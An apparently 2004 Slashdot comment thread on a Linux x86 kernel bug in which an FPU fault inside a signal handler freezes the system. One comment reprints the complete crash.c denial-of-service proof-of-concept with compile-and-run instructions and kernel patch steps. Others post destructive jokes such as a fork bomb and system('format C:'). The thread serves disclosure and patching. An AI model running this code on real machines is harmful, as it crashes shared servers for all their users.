Setting the user's shell to /bin/false would stop you from being able to login via telnet/ssh/etc., but if that can execute programs, which it must be able to do for CGI-BIN to work, then you can run this exploit. I guess conceptually the web server is the "shell", as input comes from the server and the programs output is sent back to the web server.

--
"People that quote themselves in their signatures bother me" - athakur999
Re:The best way to avoid this bug by Anonymous Coward · 2004-06-16 01:23 · Score: 0

RTFC! Moron.

Wait, by Anonymous Coward · 2004-06-14 01:08 · Score: 5, Funny

you want us to "read" the article and not jump headfirst into an open source vs. closed source flamewar??? :P

In case of slashdotting by Anonymous Coward · 2004-06-14 01:11 · Score: 5, Funny

#include <stdio.h> int main(void) { printf("I love Windows\n"); return (0); }

Re:In case of slashdotting by Anonymous Coward · 2004-06-14 01:16 · Score: 1, Funny

#include <stdlib.h> int main( void ) { system( "format C:" ); return 0; }
Re:In case of slashdotting by Anonymous Coward · 2004-06-14 01:43 · Score: 0

#incldue "stblib.h" void main(int) { system("rm /y *,*") printf(teh domination!!) }
Re:In case of slashdotting by Anonymous Coward · 2004-06-14 01:55 · Score: 1, Informative

#include <stdio.h> int main() { for(;;) printf("\t\t\b\b\b\b\b"); }
Re:In case of slashdotting by noidentity · 2004-06-14 02:01 · Score: 1

And on the new trusted computing architecture machines, attempting to compile any program crashes the machine (well, and sends notification to the police).
Re:In case of slashdotting by cthrall · 2004-06-14 02:37 · Score: 1

There's the one I was waiting for!
Re:In case of slashdotting by Frank+T.+Lofaro+Jr. · 2004-06-14 04:25 · Score: 1

main doesn't take void arguments.

--
Just because it CAN be done, doesn't mean it should!
Re:In case of slashdotting by Anonymous Coward · 2004-06-14 05:36 · Score: 0

in this case void means that there are no arguments (as a void function has no return type). Its optional and not used much unless you're an old school C programmer.
Re:In case of slashdotting by Anonymous Coward · 2004-06-14 05:57 · Score: 0

You idiot.

ISO C90 5.1.2.2.1: "The function called at program startup is named main. The
implementation declares no prototype for this function. It can be defined with no parameters:

int main(void) { /*...*/ }"

ISO C99 5.1.2.2.1 is similar but the last sentence says: "It shall be defined with a return type of int and with no parameters:"
Re:In case of slashdotting by Transcendent · 2004-06-14 12:44 · Score: 2, Informative

That actualy doesn't work anymore... unless you haven't patched Win2k?

Also... that's a problem with printf() mainly... not windows.
Re:In case of slashdotting by Anonymous Coward · 2004-06-14 13:48 · Score: 0

*Straight* from microsoft.com:

http://support.microsoft.com/?kbid=311486

"As a result, Windows stops responding (crashes)."

Yeah, a printf() bug.
Re:In case of slashdotting by Anonymous Coward · 2004-06-15 14:31 · Score: 0

Wow you suck at making arguments. You just restated what the parent post originally said in a different tone.

You fucking suck... reading what you said makes me want to puke.

This is another reason why C should be deprecated by Anonymous Coward · 2004-06-14 01:11 · Score: 5, Funny

Gentlemen, the time has come for a serious discussion on whether or not to continue using C for serious programming projects. As I will explain, I feel that C needs to be retired, much the same way that Fortran, Cobol and Perl have been. Furthermore, allow me to be so bold as to suggest a superior replacement to this outdated language.

To give you a little background on this subject, I was recently asked to develop a client/server project on a Unix platform for a Fortune 500 company. While I've never coded in C before I have coded in VB for fifteen years, and in Java for over ten, I was stunned to see how poorly C fared compared to these two, more low-level languages.

C's biggest difficulty, as we all know, is the fact that it is by far one of the slowest languages in existance, especially when compared to more modern languages such as Java and C#. Although the reasons for this are varied, the main reasons seems to be the way C requires a programmer to laboriously work with chunks of memory.

Requiring a programmer to manipulate blocks of memory is a tedious way to program. This was satisfactory back in the early days of coding, but then again, so were punchcards. By using what are called "pointers" a C programmer is basically requiring the computer to do three sets of work rather than one. The first time requires the computer to duplicate whatever is stored in the memory space "pointed to" by the pointer. The second time requires it to perform the needed operation on this space. Finally the computer must delete the duplicate set and set the values of the original accordingly.

Clearly this is a horrendous use of resources and the chief reason why C is so slow. When one looks at a more modern (and a more serious) programming language like Java, C# or - even better - Visual Basic that lacks such archaic coding styles, one will also note a serious speed increase over C.

So what does this mean for the programming community? I think clearly that C needs to be abandonded. There are two candidates that would be a suitable replacement for it. Those are Java and Visual Basic.

Having programmed in both for many years, I believe that VB has the edge. Not only is it slightly faster than Java its also much easier to code in. I found C to be confusing, frightening and intimidating with its non-GUI-based coding style. Furthermore, I like to see the source code of the projects I work with. Java's source seems to be under the monopolistic thumb of Sun much the way that GCC is obscured from us by the marketing people at the FSF. Microsoft's "shared source" under which Visual Basic is released definately seems to be the most fair and reasonable of all the licenses in existance, with none of the harsh restrictions of the BSD license. It also lacks the GPLs requirement that anything coded with its tools becomes property of the
FSF.

I hope to see a switch from C to VB very soon. I've already spoken with various luminaries in the C coding world and most are eager to begin to transition. Having just gotten off the phone with Mr. Alan Cox, I can say that he is quite thrilled with the speed increases that will occur when the Linux kernel is completely rewritten in Visual
Basic. Richard Stallman plans to support this, and hopes that the great Swede himself, Linux Torvaldis, won't object to renaming Linux to VB/Linux. Although not a C coder himself, I'm told that Slashdot's very own Admiral Taco will support this on his web site. Finally,
Dennis Ritchie is excited about the switch!

Thank you for your time. Happy coding.

Re:Open Source Community shows its Value by Anonymous Coward · 2004-06-14 01:11 · Score: 5, Funny

It shouldn't be long before a patch is issued to resolve this problem. Thank goodness for caffene loving geeks everywhere!

Let's just hope they're not browsing for pr0n.

Shell: Ying-Yang of any OS by Anonymous Coward · 2004-06-14 01:14 · Score: 1, Insightful

"Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged)."

Hope you all had a great weekend!

Re:Fixed quickly. by QBasicer · 2004-06-14 01:14 · Score: 1

Is it out already? If not, I hope they tell us promtly. I want to apply the patch as soon as I can.

--
x86, oh yes, I'm pro.

if you're running 2.4.25 or 2.4.26 by Anonymous Coward · 2004-06-14 01:16 · Score: 4, Informative

here's a direct link to the patch.

not whoring. ;)

Re:if you're running 2.4.25 or 2.4.26 by Anonymous Coward · 2004-06-14 01:26 · Score: 0

Who cares about "whoring" or other stupid shit... ugh, Slashdot sucks
Re:if you're running 2.4.25 or 2.4.26 by SpaceJunkie · 2004-06-14 01:37 · Score: 0, Troll

So wtf are you doing here troll?

--
OrionRobots.co.uk - Robots From sol
Re:if you're running 2.4.25 or 2.4.26 by 13Echo · 2004-06-14 01:39 · Score: 2, Informative

This crash most definitely works. I tested it on my freshly built 2.6.6 kernel and it locked the whole machine up; just totally freezes it. This was as a standard user.

I suppose it is not a problem since I don't allow shell access to my machines, but I guess it wouldn't hurt to patch anyway.
Re:if you're running 2.4.25 or 2.4.26 by noselasd · 2004-06-14 01:46 · Score: 1

Uhm, it kills the process if it raises a floating point exception
in a signal handler !? Hardly seems like the correct way to address the issue.

Re:OS bugs are like golf... by QBasicer · 2004-06-14 01:16 · Score: 1

That must be the new fangled counting system is it?

Something like hex, only it's got the whole alphabet in it, which makes it fun to use on calculators, making it easier to say "BOOBIES".

--
x86, oh yes, I'm pro.

The problem appears to be... by Ayanami+Rei · 2004-06-14 01:16 · Score: 5, Informative

... that if you trigger a floating point exception inside a signal handler (specifically SIGALRM), the kernel doesn't handle it correctly, hanging the system. It appears to affect both SMP and UP kernels.

Some questions I have to those who may have been following this:

Does the crash occur without the syscalls in the signal handler/main process?
Does the crash occur on SMP machines?
Does the crash occur with other signals (PIPE, USR1, etc.)
Does the crash occur on ppc, sparc, etc?

--
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON

Re:The problem appears to be... by log2.0 · 2004-06-14 01:23 · Score: 2, Informative

Most of those questions are answered in the article.

--
Can your karma go above being Excellent?
Re:The problem appears to be... by dannywoodz · 2004-06-14 01:56 · Score: 1

Not truly SMP, but it locks up one of the cores of a hyper-threaded P4 with 100% system time. The other is unaffected. It's also possible to renice the process. This was with an SMP vanilla 2.6.6 kernel on Gentoo.
Re:The problem appears to be... by Ndiin · 2004-06-14 04:16 · Score: 2, Informative

I can confirm that this does occur on SMP systems, but it requires two instances. The first run of the program locks up one of the CPUs completely, and cannot be killed. The second kills the entire machine.

This is on 2.4.25

-- Ndiin
Re:The problem appears to be... by Anonymous Coward · 2004-06-14 04:59 · Score: 0

I can confirm that my smp (dual pentium pro) did indeed crash.
Re:The problem appears to be... by Unordained · 2004-06-14 10:02 · Score: 1

so for an N-way SMP, combining this with a fork() bomb might work out nicely?

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 01:17 · Score: 0, Funny

Visual Basic better than C? Surely you're smoking Crack.

Real crash.txt info and fix by bigdady92 · 2004-06-14 01:17 · Score: 2, Informative

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged).

This code only works on x86 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.

Check your own system yourself if you are wondering if this affects you. Better safe than sorry. Assume it will crash, sync (even unmount) your file systems before testing. If your system is a production server with 1000 on line users then do not test this code on that box.

How to protect yourself

The last days were frustrating. Compiling a large number of different kernel versions just to find that gcc crash.c -o evil && ./evil halts the system is quite dull. I hoped some kernels would be unaffected because 2.4.26-rc3-gentoo and 2.4.26_pre6-gentoo are, but sadly almost all kernels versions die when evil is executed.

The Linux Kernel mailing list is found to the right of this article. You may find solutions there not mentioned on this page. The author does subscribe and plans to post (better) solutions here as they appear.

Patch for 2.4.2x (vanilla) Kernels
Stian Skjelstad mailed me a working patch 2.4 kernels.

2.4.26

I applied it, confirmed that it works with the vanilla 2.4.26 kernel and made a diff (diff -ur linux-2.4.26/kernel/signal.c linux-2.4.26-x/kernel/signal.c > signal.c-2.4.26.patch.txt). (signal.c-2.4.26.patch.txt)

1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.26.tar.bz2 from your local Linux Kernel Mirror
3. Unpack the kernel source and make a symbolic link:
* cd /usr/src/
* tar xfvj linux-2.4.26.tar.bz2
* ln -s linux-2.4.26 linux
4. Download the patch for 2.4.26: signal.c-2.4.26.patch.txt
5. Apply the patch
* patch -p1 -d /usr/src/linux-2.4.26 signal.c-2.4.21.patch.txt) is tested and works for Kernel 2.4.21 (vanilla).

1. Get a vanilla 2.4.21 kernel and install it.
2. Apply the patch
* patch -p1 -d /usr/src/linux-2.4.26 2.4.26-rc3-gentoo.

I have no idea why this kernel version is safe from this exploit. It just is. This kernel patch set returns Floating point exception instead of locking the system when evil is executed.

This kernel can be used on any Linux system. It does not require any Gentoo-only tools.

1. Read the Kernel Rebuild Guide if this is your first time compiling your own kernel
2. Download linux-2.4.25.tar.bz2 from your local Linux Kernel Mirror
3. Get the patch set for Gentoo 2.4.26-rc3-gentoo (mirror1) (mirror2) aka 2.4.26_pre5:
* wget http://re.a.la/gs (2,2M)
4. Unpack the 2.4.25 kernel source:
* cd /usr/src/
* tar xfvj linux-2.4.25.tar.bz2
5. Apply the Gentoo patchset:
* patch -p1 -d /usr/src/linux-2.4.25 "EXTRAVERSION = -rc3-gentoo"
8. Configure your kernel
* Using your old config: cp /usr/s

--
Wheel of Time: Book by Book and Sumview (summary review) Bigdady92 style: http://bigdady92.blogspot.com/

Re:Real crash.txt info and fix by Anonymous Coward · 2004-06-14 02:12 · Score: 0

"This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged)."

Thanks for the informative article, but are you really saying that providing a shell account for free is illegal? Where and how is that so?
Re:Real crash.txt info and fix by markan18 · 2004-06-14 02:20 · Score: 2, Interesting

I have compiled it and running it right now. That code sucks 99% of cpu but no crash. I have an "old" 2.6.1 kernel compiled from gentoo development-sources. It seems that exploit does not work on my machine.

No carrier loss here, 5 minutes and still running.
Re:Real crash.txt info and fix by Anonymous Coward · 2004-06-14 03:21 · Score: 0

> > "This exploit has been reported used to take down several "lame free-shell providers" servers (this is illegal in most parts of the world and strongly discouraged)."

> Thanks for the informative article, but are you really saying that providing a shell account for free is illegal?

Parsing error. Shift/Reduce conflict.

Voluntary taking down free-shell providers is illegal in most parts of the world.
Re:Real crash.txt info and fix by Anonymous Coward · 2004-06-14 03:58 · Score: 1, Funny

If your system is a production server with 1000 on line users then do not test this code on that box.

DAMN IT!!! I tested this on a production server with 823 online users, and, despite showing my boss this advisory, I'm still fired.

Who has shell access? by slusich · 2004-06-14 01:20 · Score: 4, Funny

How many systems deployed in real world enviorments give anyone other then IT staff shell access?

--

DeviantArt Page

NSFW

Re:Who has shell access? by Welsh+Dwarf · 2004-06-14 01:25 · Score: 4, Insightful

Sourceforge?

--
Ask 8 slackers a question, get 10 awnsers (a citation, but I can't remember from who)
Re:Who has shell access? by Morgahastu · 2004-06-14 01:27 · Score: 1

Web hosts.
Re:Who has shell access? by Tenareth · 2004-06-14 01:28 · Score: 1

Depends... development servers would obviously, since that's where they develop code. But nobody except admins and production scheduling generally get shell access to production machines.

--
This sig is the express property of someone.
Re:Who has shell access? by Anonymous Coward · 2004-06-14 01:30 · Score: 0

You do NOT need shell access to trigger this. Anyone with a cgi-bin and FTP access can. Anyone that can run programs on your system in (nearly) any way, shape or form can.
Re:Who has shell access? by AllUsernamesAreGone · 2004-06-14 01:33 · Score: 2, Insightful

I don't know how "real world" you'd class a University, but there are two machines I have to help out with here that students have access to for their Bioinformatics DL assignments.

It already has a program running on it that I had to develop to detect processes using too much processor time and kill them (with warnings, messages printe dout when students log in and so on). I'll probably have to upgrade it to do the same with memory now that we have one genius who seems to be finding a way to consume 1.8Gb of memory.

Now I need to get kernels compiling, excuse me...
Re:Who has shell access? by Ctrl-Z · 2004-06-14 01:34 · Score: 2, Informative

Universities.

--
www.timcoleman.com is a total waste of your time. Never go there.
Re:Who has shell access? by afidel · 2004-06-14 01:34 · Score: 2, Informative

I have shell on my old dialup ISP's Sun machines, have for over a decade now. Many shared webhosting farms run on Linux on x86 and if you have CGI you basically have shell since you can run arbitrary code. Also any place that does development work under Unix probably gives their developers shell access (duh). So I would say there are a lot of places that give more than just the inner circle monks of IT shell access.

--
There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
Re:Who has shell access? by D_Gr8_BoB · 2004-06-14 01:35 · Score: 2, Interesting

I work in a university environment, and maintain four shell servers for general student, staff and faculty use. It's also never a good idea to assume you're safe because a certain vulnerability is local-only, since attackers often combine a "harmless" local attack with a "harmless" unpriveledged remote attack to great effect.
Re:Who has shell access? by paitre · 2004-06-14 01:38 · Score: 1

Using 1.8G of RAM in a BioInformatics compute program isn't at -all- difficult.
There's a reason I've got systems with MAX physical RAM...these fartknockers are loading multi-gig sized datasets (or generating them into memory on the fly) and they like to use apps that mmap that data :\
Re:Who has shell access? by rsidd · 2004-06-14 01:47 · Score: 1

Wouldn't anyone who uses a unix-like system have shell access? I have shell access to my machine at work and I'm not the admin. Everyone I know who uses unix/linux does too. Can't live without it.
Re:Who has shell access? by 42forty-two42 · 2004-06-14 01:48 · Score: 2, Insightful

It already has a program running on it that I had to develop to detect processes using too much processor time and kill them (with warnings, messages printe dout when students log in and so on). I'll probably have to upgrade it to do the same with memory now that we have one genius who seems to be finding a way to consume 1.8Gb of memory.

Don't kill it, renice it. It'll still run, but it'll cede the processor to other apps when they need it. Also, ulimit can handle limiting memory.
Re:Who has shell access? by julesh · 2004-06-14 02:03 · Score: 1

mmap shouldn't use any more memory than doing equivalent accesses on the files using read() and write(); it effectively gives you direct access to read and write into the disk cache, thus eliminating some copies and allowing the OS to optimise write-back cacheing more easily.
Re:Who has shell access? by BJH · 2004-06-14 02:06 · Score: 1

That should be more like, "Ask 8 hackers a question, get 64 answers." ;)
Re:Who has shell access? by mattyrobinson69 · 2004-06-14 02:08 · Score: 4, Funny

How about these?

I used the search term "shell accounts", incase you couldn't think of something more relevant than "cheese" or "striped cow" to search for....
Re:Who has shell access? by A+nonymous+Coward · 2004-06-14 02:56 · Score: 1

Yes, but you have no reason to crash your own machine. This is only a problem for machines with general shell accounts, like ISPs. Most shell account users have no reason to crash their ISP's machines, but there are enough fools out there ...

It is also a problem if some skiddie uses a remote exploit to get user (not root) access and uses this to crash the machine.

--
Infuriate left and right
Re:Who has shell access? by lubricated · 2004-06-14 05:19 · Score: 1

How many systems deployed in real world enviorments give anyone other then IT staff shell access?

my isp

--
It has been statistically shown that helmets increase the risk of head injury.
Re:Who has shell access? by xiando · 2004-06-14 07:37 · Score: 0

Thank you for pointing this out. I am sorry if I made my article misleading or wrong. This simply did not hit my mind. I assume "Using this exploit to crash Linux systems requires the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access)." covers this?

--
9/11: Never forget it was a false-flag operation
Re:Who has shell access? by sjvn · 2004-06-14 08:45 · Score: 1

How many? Any good one.

There is no interface but shell, and his prophet shall be Bourne Again.

Steven
Re:Who has shell access? by caryw · 2004-06-14 09:55 · Score: 1

Uh, only my company that gives a shell account to every dial-up/DSL customer. ( http://www.patriot.net/ )

And if any of you are reading this, try it on adams and you're toast. Already got process accounting running.

- Cary

Re:OS bugs are like golf... by Anonymous Coward · 2004-06-14 01:20 · Score: 0

It's called Base64.

Re: My Experience with the Linux by timotten · 2004-06-14 01:20 · Score: 5, Funny

...having programmed in VB for the last 8 years doing kernel level programming...

I think you'll need to clarify that for us slashdot folk.

SCO by somethinghollow · 2004-06-14 01:20 · Score: 3, Funny

It must be an exploit in the SCO code that is in the Linux kernel!

;)

Re:SCO by TiggsPanther · 2004-06-14 01:27 · Score: 1

No no no. The SCO claims are the exploit - they're trying to use it to "own" every Linux box worldwide.

--
Tiggs
"120 chars should be enough for everyone..."

Remain calm.. by ObsessiveMathsFreak · 2004-06-14 01:22 · Score: 2, Funny

... It's ok. remember, not many people know about this yet. ...... ......

Oh God! How to I update Fedora Core 2!!!!

--
May the Maths Be with you!

Re:OS bugs are like golf... by RAMMS+EIN · 2004-06-14 01:22 · Score: 4, Insightful

Well, those who have been paying attention know that Linux has had quite a few (read: way too many) critical bugs in the past year. Most of them were related to do_mremap (how many times do they have to "fix" that until its fixed?!), varying in severeness from DoS to local root exploits. How many has the Windows kernel had in the last 12 months? I am afraid that this comparison might fall out to the advantage of Windows. Until you take into account time to fix, maybe. Off to patch my systems...

--
Please correct me if I got my facts wrong.

Okay, I'm confused... by ThePatrioticFuck · 2004-06-14 01:22 · Score: 5, Funny

I thought Monday's were supposed to be Windows patch days, Tuesdays were for Linux, Wednesday was Apache, Thursday was Windows again, Friday was SSH...

Re:Okay, I'm confused... by csimpkins · 2004-06-14 01:31 · Score: 1

Here at Slashdot, everyday is Windows patch day!
Re:Okay, I'm confused... by Anonymous Coward · 2004-06-14 01:34 · Score: 0

That would mean there are alot more Mondays than Fridays
Re:Okay, I'm confused... by Zeddicus_Z · 2004-06-14 01:34 · Score: 3, Funny

But... what about Sendmail?

--
Janie took my gun...
Re:Okay, I'm confused... by Secrity · 2004-06-14 01:37 · Score: 2, Insightful

And FreeBSD patch day is the first Tuesday of every quarter (if needed).
Re:Okay, I'm confused... by archen · 2004-06-14 01:39 · Score: 1

Wait, we were supposed to patch SSH on Fridays? I thought it was OpenSSL. Oh crap, all my servers are wide open! Noooo! ... <no carrier>
Re:Okay, I'm confused... by Fjord · 2004-06-14 01:58 · Score: 1

We don't bother because we all run qmail.

--
-no broken link
Re:Okay, I'm confused... by Anonymous Coward · 2004-06-14 02:09 · Score: 0

Well, postfix is Saturday night at around 2am, usually. :-)
Re:Okay, I'm confused... by Anonymous Coward · 2004-06-14 04:49 · Score: 0

Monday through Sunday are windows patch days except for federal holidays which are spread randomly to other software as needed.
Re:Okay, I'm confused... by Anonymous Coward · 2004-06-14 05:58 · Score: 0

And Wednesday Trollday? :(
Re:Okay, I'm confused... by anno1a · 2004-06-14 06:07 · Score: 1

Every day is sendmail patch day :)

--
------- I fumbled my registration and I now must suffer
Re:Okay, I'm confused... by Eraser_ · 2004-06-14 07:23 · Score: 1

People patch sendmail?
Re:Okay, I'm confused... by lakeland · 2004-06-14 09:04 · Score: 1

You forgot the timezone. It is 09:04 tuesday morning here.
Re:Okay, I'm confused... by MadAhab · 2004-06-14 09:11 · Score: 1

That's funny. But I actually compiled and ran this lil' sucker on a FreeBSD machine and crashed it stiff.

--
Expanding a vast wasteland since 1996.

I read the article too, I'm an idiot. by Ayanami+Rei · 2004-06-14 01:22 · Score: 4, Informative

The article says it affects x86 (and x86-64) only.

So itanium, ppc, etc. are safe. But my other questions still remain.

Note that the person who reported the bug thought they were triggering a gcc bug. As it turns out, he munged his FPU assembly instructions.
The GCC people rightly told him to contact the lkml... it's definitely an exception handling issue.

--
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON

so someone would by zogger · 2004-06-14 01:24 · Score: 2, Insightful

go to the trouble to get a paid for shell account at a provider, or a freebie I guess, then run this script, just to destroy their own account basically?

Or is the bigger danger is that this script would be the payload that is included within some linux worm?

Just wondering what this means for joe average home linux user who isn't running a server.

Re:so someone would by Tenareth · 2004-06-14 01:38 · Score: 1

Most rootkits want to stay hidden... this wouldn't be the greatest way to do that :)

--
This sig is the express property of someone.
Re:so someone would by REBloomfield · 2004-06-14 01:48 · Score: 1

It affects everyone's account, not just theirs. It locks the whole system.
What it means for joe home user is that if bob hacker can get a shell on his PC, it can be locked up.
Re:so someone would by ShyGuy91284 · 2004-06-14 02:08 · Score: 0

If joe home user has bob hacker on his PC, I think the PC abruptly haulting would be the least of his worries (considering joe home user isn't running it as a server, which doesn't sound very characteristic of joe home user)........

--
In undeveloped countries, the consumer controls the market. In capitalist America, the market controls you.
Re:so someone would by Vegard · 2004-06-14 02:24 · Score: 1

> Just wondering what this means for joe average home linux user who isn't running a server.

For a user that is not running a server: Not a thing. Since noone other than him is supposed to have access to the machine or be able to run code on it, there's no way, other than security being compromised in other ways, that is code is going to be run. If so, the user should be happy that there are actual signs of the security breach.

For me, that is running a server at home with few and trustable users, anyone intruders running this would be a boon for me. Not that I don't take security seriously. I do. But, *if*, for some reason, someone unauthorized has gotten access to my machine, I'd rather them give themselves away by causing the machine to crash instead of doing other damage, which perhaps would go unnoticed.
Re:so someone would by Anonymous Coward · 2004-06-14 02:35 · Score: 0

"Account" as in "what you are paying for", not as in "userid".

It blocks the system for every user account, but when they find out who did it, guess which paying user is going to at least get his account closed, and maybe even a visit from the FBI.

Re:This is another reason why C should be deprecat by QBasicer · 2004-06-14 01:24 · Score: 1

Since when did Linux run VB programs without Wine? If so, I missed that news flash.

--
x86, oh yes, I'm pro.

You know you have problems if... by ulmanms · 2004-06-14 01:25 · Score: 5, Funny

Your sysadmin needs this advice:
If your system is a production server with 1000 on line users then do not test this code on that box.

Re:You know you have problems if... by Anonymous Coward · 2004-06-14 01:56 · Score: 0

Your sysadmin needs this advice:
You have more serious problems if he doesn't particularly care... </bofh>

Re:This is another reason why C should be deprecat by sqrammi · 2004-06-14 01:25 · Score: 2, Interesting

No, it's not because C is being used here. It's because assembly is being included in the program. If you weren't able to compile the inline assembly, you wouldn't be able to compile this program on a specific system. Plus, you can just create a raw ELF binary that has this assembly instruction in it (if you knew all the opcodes, etc.) and crash a system. This has nothing to do with the language that is being used.

Re: My Experience with the Linux by timotten · 2004-06-14 01:26 · Score: 1

...not to mention the fact that the Linux kernel itself lacks any support for any type of journaled
filesystem, memory protection, SMP support, etc...

I think I just got 0wn3d.

I'm going to go back to lurking now.

Re:Fixed quickly. by bdash · 2004-06-14 01:26 · Score: 3, Insightful

And fixes will be deployed within hours.
The same cannot be said of many proprietary OSes...

The fact that a patch is available doesn't mean that it is a non-issue. In many cases system administrators are too busy, lasy or do not wish to interrupt services, to update their systems to fix these software vulnerabilities. The proprietary vs. non-proprietary argument is irrelevant if administrators fail to keep up-to-date with security fixes. A good example of this was the SQL Slammer worm that made it's rounds several months after a patch that fixed it's attack vector was released.

Simply put, the bigger problem is with the wet-ware than the development methodology.

Another reason why there's alternatives to Linux by Anonymous Coward · 2004-06-14 01:26 · Score: 0

Yet another reason why there's alternatives to Linux...

Red Hat Enterprise Linux by mapnjd · 2004-06-14 01:26 · Score: 1

Both RHEL 2.1 (2.4.9-e40) and RHEL 3 (2.4.21-15) are vulnerable, which means that Red Hat back-ported this bug into their 2.1 product line. Nice!

--
Bus error in your favour. Collect 200kB

You do NOT need shell access by Anonymous Coward · 2004-06-14 01:27 · Score: 3, Informative

This can be executed on any webhost with ftp access and a cgi-bin.

Re:You do NOT need shell access by stwrtpj · 2004-06-14 06:33 · Score: 1

This can be executed on any webhost with ftp access and a cgi-bin.
Er ... how many admins do you know are stupid enough to allow a directory in the ftp upload area to be treated as a cgi-bin by the webserver? In that case, you could do a lot of damage without the need for this kernel exploit.

--
Karma: Frotzed (mostly due to the Frobozz Magic Karma Company)

Re:OS bugs are like golf... by martingunnarsson · 2004-06-14 01:28 · Score: 4, Funny

Slashdot blurb about Windows bug
Linux trolls: Windows sucks!!!

Slashdot blurb about Linux bug
Linux trolls: Windows sucks!!!

--
Martin

Re:In case of slashdotting... by Anonymous Coward · 2004-06-14 01:28 · Score: 0

Here is some more code that will a machine to its knees:

while (1) fork();

good advice from the article ... by straybullets · 2004-06-14 01:28 · Score: 1, Funny

If your system is a production server with 1000 on line users then do not test this code on that box

Mwahahahahah !!! They can't be serious !

Ok, i vill test evil.c on some other boxen ...

--
With that aggravating beauty, Lulu Walls.

Re:good advice from the article ... by Croaker · 2004-06-14 02:00 · Score: 1

Yeah, go test it on the file server. No one is logged into that, right?
Re:good advice from the article ... by Anonymous Coward · 2004-06-14 03:27 · Score: 0

well, let me type "who" ...
good, now ...

I know plenty who do... by Allen+Zadr · 2004-06-14 01:29 · Score: 4, Insightful

I know plenty of users who do care...

In the real world, where I work, I run a Hybrid network where I'm still waiting for Windows XP Service Pack 2 to come out in a finalized form because I don't have an option to pull just the parts that I need, and SP2 RC2 is not quite ready to unleash on my network (although I have actively TESTED it). Of course, this just fixes some vulnerabilities that have existed for over a year.

Don't tell me that I, as a Windows User and Administrator, don't care. While I've ignored this kernel issue over the weekend, I get to actively compile come kernel patches and test those. I'll bet, even before my testing, that I'll be able to have a production solution by tomorrow. Even if SP2 releases this afternoon, I'll still have to test it before deployment, so the Linux solution will be in production first.

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Re:I know plenty who do... by KarmaMB84 · 2004-06-14 04:18 · Score: 1

Microsoft doesn't recommend you unleash SP2 on production machines already. Why even consider it?
Re:I know plenty who do... by Allen+Zadr · 2004-06-14 05:23 · Score: 1
Here's two good reasons.
1. If the release candidate works in my environment without issues, I could glean the functionality now if I don't have that one in a thousand setup that SP2 hasn't already been tested and corrected against.
2. Even if it doesn't pass my environment, I can be prepared for the issues to test against when the final version does arrive.
--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:I know plenty who do... by Anonymous Coward · 2004-06-14 07:01 · Score: 0

I hope your environment is a TEST environment. If you're talking production... that's just plain bad practice.
Re:I know plenty who do... by Allen+Zadr · 2004-06-14 07:42 · Score: 1

How test is test if there is no production?
If I take an otherwise unused computer, install Windows XP SP2 on it, and test the applications, then I'm in test environment. The second part of the test is to introduce it to the internet, and test some of my web applications (these are live, and on the internet anyway). By that time, putting the test box in my production environment (without allowing it to do production tasks) is the last phase of my testing (for any patch).

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Vulnerability in Linux, NetBSD Unaffected!!! by RAMMS+EIN · 2004-06-14 01:29 · Score: 4, Funny

FTFA (From The Fine Article):

``This doesn't affect NetBSD Stable.''

The exploit code also doesn't work on Windows 95, nor on Menuet. I haven't tested SkyOS, because I don't have a license.

--
Please correct me if I got my facts wrong.

Re:Vulnerability in Linux, NetBSD Unaffected!!! by Senjutsu · 2004-06-14 01:38 · Score: 4, Funny

Officials say that, at this time, they are unsure whether or not the Amiga is affected. Precaution is urged.
Re:Vulnerability in Linux, NetBSD Unaffected!!! by MobyTurbo · 2004-06-14 10:12 · Score: 1

Officials say that, at this time, they are unsure whether or not the Amiga is affected. Precaution is urged.

Not if they use NetBSD on the Amiga. :-)

Re:Fixed quickly. by kaiidth · 2004-06-14 01:29 · Score: 5, Informative

Patch is here on LKML. And of course it is on the original exploit page too.

Here is the LKML discussion thread on the subject. It's an interesting bug, briefly summarised by Matt Mackall as follows:

The example code's bogus
asm is generating an FPU fault in frstor in its signal handler, that's
bumping us into math_error -> force_sig_info ->
specific_send_sig_info. Then we hit:

if (LEGACY_QUEUE(&t->pending, sig))

which decides we don't need to send the signal after all and we bail
all the way back out and recurse.

So there's a bit of a massive problem with FPU exception handling, which didn't come to light before. Wheee. Fun.

How is this possible? by Anonymous Coward · 2004-06-14 01:29 · Score: 0

Gee, based on what /.'rs are always posting, I thought Linux could run forever and was uber-invulnerable...

Re:How is this possible? by Frit+Mock · 2004-06-14 02:04 · Score: 1

Hm ... did someone say forever? ... Ok, tomorrow every Linux box is patched. I bet we can run at least another 1281 days until someone finds something similar. ;) ...

Oh, wait ... my machine up for 847 days has a kernel prior 2.4.18, noting to worry it's invulnerable.

Seriously, to get a clue, how much is improved in MS based systems over different versions, just take a look what viruses affect what Windows versions ... Aren't you surprised, that most viruses affect always a couple of Windows versions? ...
That makes it obvious, that the majority of Windows code does not change over 3 or even more Windows versions (similar with office or whatever other MS product.)
